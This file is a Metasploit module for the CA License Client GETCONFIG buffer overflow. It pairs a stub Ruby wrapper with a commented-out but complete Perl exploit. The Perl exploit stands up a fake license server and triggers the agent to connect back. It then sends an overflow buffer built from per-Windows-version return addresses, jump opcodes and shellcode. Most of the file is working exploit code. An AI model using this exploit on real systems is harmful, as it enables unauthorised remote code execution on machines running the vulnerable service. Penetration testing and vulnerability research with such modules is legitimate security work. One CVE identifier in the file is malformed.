mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
303 lines
8.5 KiB
Ruby
303 lines
8.5 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::License::CA_Client_GETCONFIG < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA License Client GETCONFIG Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the CA License
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Client service. This exploit will only work if your IP
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address will resolve to the target system. This can be
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accomplished on a local network by running the 'nmbd'
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service that comes with Samba. If you are running this
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exploit from Windows and do not filter udp port 137, this
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should not be a problem (if the target is on the same
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network segment). Due to the bugginess of the software, you
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are only allowed one connection to the agent port before it
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starts ignoring you. If it wasn't for this issue, it would
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be possible to repeatedly exploit this bug.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '14322'],
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[ 'BID', '12705'],
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[ 'CVE', '005-0581'],
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[ 'URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
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[ 'MIL', '17'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x20",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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],
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'DisclosureDate' => 'Mar 02 2005',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::calicclnt_getconfig;
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use base "Msf::Exploit";
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use strict;
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use Pex::Text;
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use IO::Socket;
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use IO::Select;
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my $advanced = { };
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my $info =
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{
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'Name' => 'CA License Client GETCONFIG Overflow',
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'Version' => '$Revision$',
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'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
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'Priv' => 1,
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'AutoOpts' => { 'EXITFUNC' => 'process' }, # avoid the ugly pop-up
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'UserOpts' => {
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 10203],
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x20",
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'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
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'Keys' => ['+ws2ord'],
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},
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'Description' => Pex::Text::Freeform(qq{
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This module exploits an vulnerability in the CA License Client
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service. This exploit will only work if your IP address will
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resolve to the target system. This can be accomplished on a local
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network by running the 'nmbd' service that comes with Samba. If
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you are running this exploit from Windows and do not filter udp
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port 137, this should not be a problem (if the target is on the same
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network segment). Due to the bugginess of the software, you are
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only allowed one connection to the agent port before it starts
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ignoring you. If it wasn't for this issue, it would be possible to
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repeatedly exploit this bug.
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}),
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'Refs' =>
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[
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['OSVDB', '14322'],
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['BID', '12705'],
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['CVE', '005-0581'],
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['URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
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['MIL', '17'],
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],
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'Targets' => [
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# As much as I would like to return back to the DLL or EXE,
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# all of those modules have a leading NULL in the
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# loaded @ address :(
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# name, jmp esi, writable, jmp edi
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['Automatic', 0],
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['Windows 2000 English', 0x750217ae, 0x7ffde0cc, 0x75021421], # ws2help.dll esi + peb + edi
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['Windows XP English SP0-1', 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8], # ws2help.dll esi + peb + edi
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['Windows XP English SP2', 0x71aa1b22, 0x71aa5001, 0x71aa1e08], # ws2help.dll esi + .data + edi
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['Windows 2003 English SP0', 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c], # ws2help.dll esi + peb + edi
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],
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'Keys' => ['calicense'],
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'DisclosureDate' => 'Mar 02 2005',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $target_idx = $self->GetVar('TARGET');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target = $self->Targets->[$target_idx];
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my $server = IO::Socket::INET->new
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(
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'LocalPort' => 10202,
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'Proto' => 'tcp',
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'ReuseAddr' => 1,
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'Listen' => 5,
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'Blocking' => 0,
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);
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if (! $self->InitNops(128)) {
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$self->PrintLine("[*] Failed to initialize the nop module.");
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return;
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}
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if (! $server) {
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$self->PrintLine("[*] Could not start the fake CA License Server: $!");
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return;
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}
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my $sel = IO::Select->new($server);
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# 1: Connect to the agent and send a request
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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'SSL' => $self->GetVar('SSL'),
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);
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if ($s->IsError) {
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$self->PrintLine("[*] Could not connect to the client agent");
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$server->shutdown(2);
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$server->close;
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return;
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}
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$s->Send("A0 GETSERVER<EOM>\n");
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$self->PrintLine("[*] Waiting for the license agent to connect back...");
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my $r = $s->Recv(-1, 3);
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# 2: Wait for a connection from the agent back to us
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my @ready = $sel->can_read(8);
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if (! scalar(@ready)) {
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$self->PrintLine("[*] No connection was received from the agent >:(");
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$s->Close;
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$server->shutdown(2);
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$server->close;
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return;
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}
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# 3: Accept the connection and determine target type if needed
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my $agent_soc = $ready[0]->accept();
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my $agent = Msf::Socket::Tcp->new_from_socket($agent_soc);
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$self->PrintLine("[*] Accepted connection from agent ".$agent->PeerAddr);
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if ($target_idx == 0) {
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$agent->Send("A0 GETCONFIG SELF 0<EOM>");
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my $data = $agent->Recv(-1, 2);
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if ($data =~ m/OS\<([^\>]+)/) {
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my $os = $1;
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$os =~ s/_NT//g;
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$os =~ s/5\.1/XP/;
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$os =~ s/5\.2/2003/;
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$os =~ s/5\.0/2000/;
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$os =~ s/4\.0/NT 4.0/;
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my @targs;
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for (1 .. (scalar(@{$self->Targets})-1)) {
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if (index($self->Targets->[$_]->[0], $os) != -1) {
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push @targs, $_;
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}
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}
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if (scalar(@targs) > 1) {
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$self->PrintLine("[*] Multiple possible targets:");
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foreach (@targs) {
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$self->PrintLine("[*] $_\t".$self->Targets->[$_]->[0]);
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}
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$self->PrintLine("[*] Picking the closest target and hoping...");
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return;
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}
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if (scalar(@targs)) {
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$target = $self->Targets->[$targs[0]];
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}
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if (! scalar(@targs)) {
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$self->PrintLine("[*] No matching target for $os");
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return;
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}
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} else {
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$self->PrintLine("[*] Could not determine the remote OS automatically");
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return;
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}
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}
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$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
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my $boom = $self->MakeNops(900);
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## exploits two different versions at once >:-)
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# 144 -> return address of esi points to string middle
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# 196 -> return address of edi points to string beginning
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# 148 -> avoid exception by patching with writable address
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# 928 -> seh handler (not useful under XP SP2)
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substr($boom, 142, 2, "\xeb\x08"); # jmp over addresses
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substr($boom, 144, 4, pack('V', $target->[1])); # jmp esi
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substr($boom, 148, 4, pack('V', $target->[2])); # writable address
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substr($boom, 194, 2, "\xeb\x04"); # jmp over address
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substr($boom, 196, 4, pack('V', $target->[3])); # jmp edi
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substr($boom, 272, length($shellcode), $shellcode);
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my $req = "A0 GETCONFIG SELF $boom<EOM>";
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$self->PrintLine("[*] Sending " .length($req) . " bytes to remote host.");
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$agent->Send($req);
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$server->shutdown(2);
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$agent->Close;
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$s->Close;
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return;
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}
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1;
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__DATA__
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eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
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BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
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=end
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end
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end
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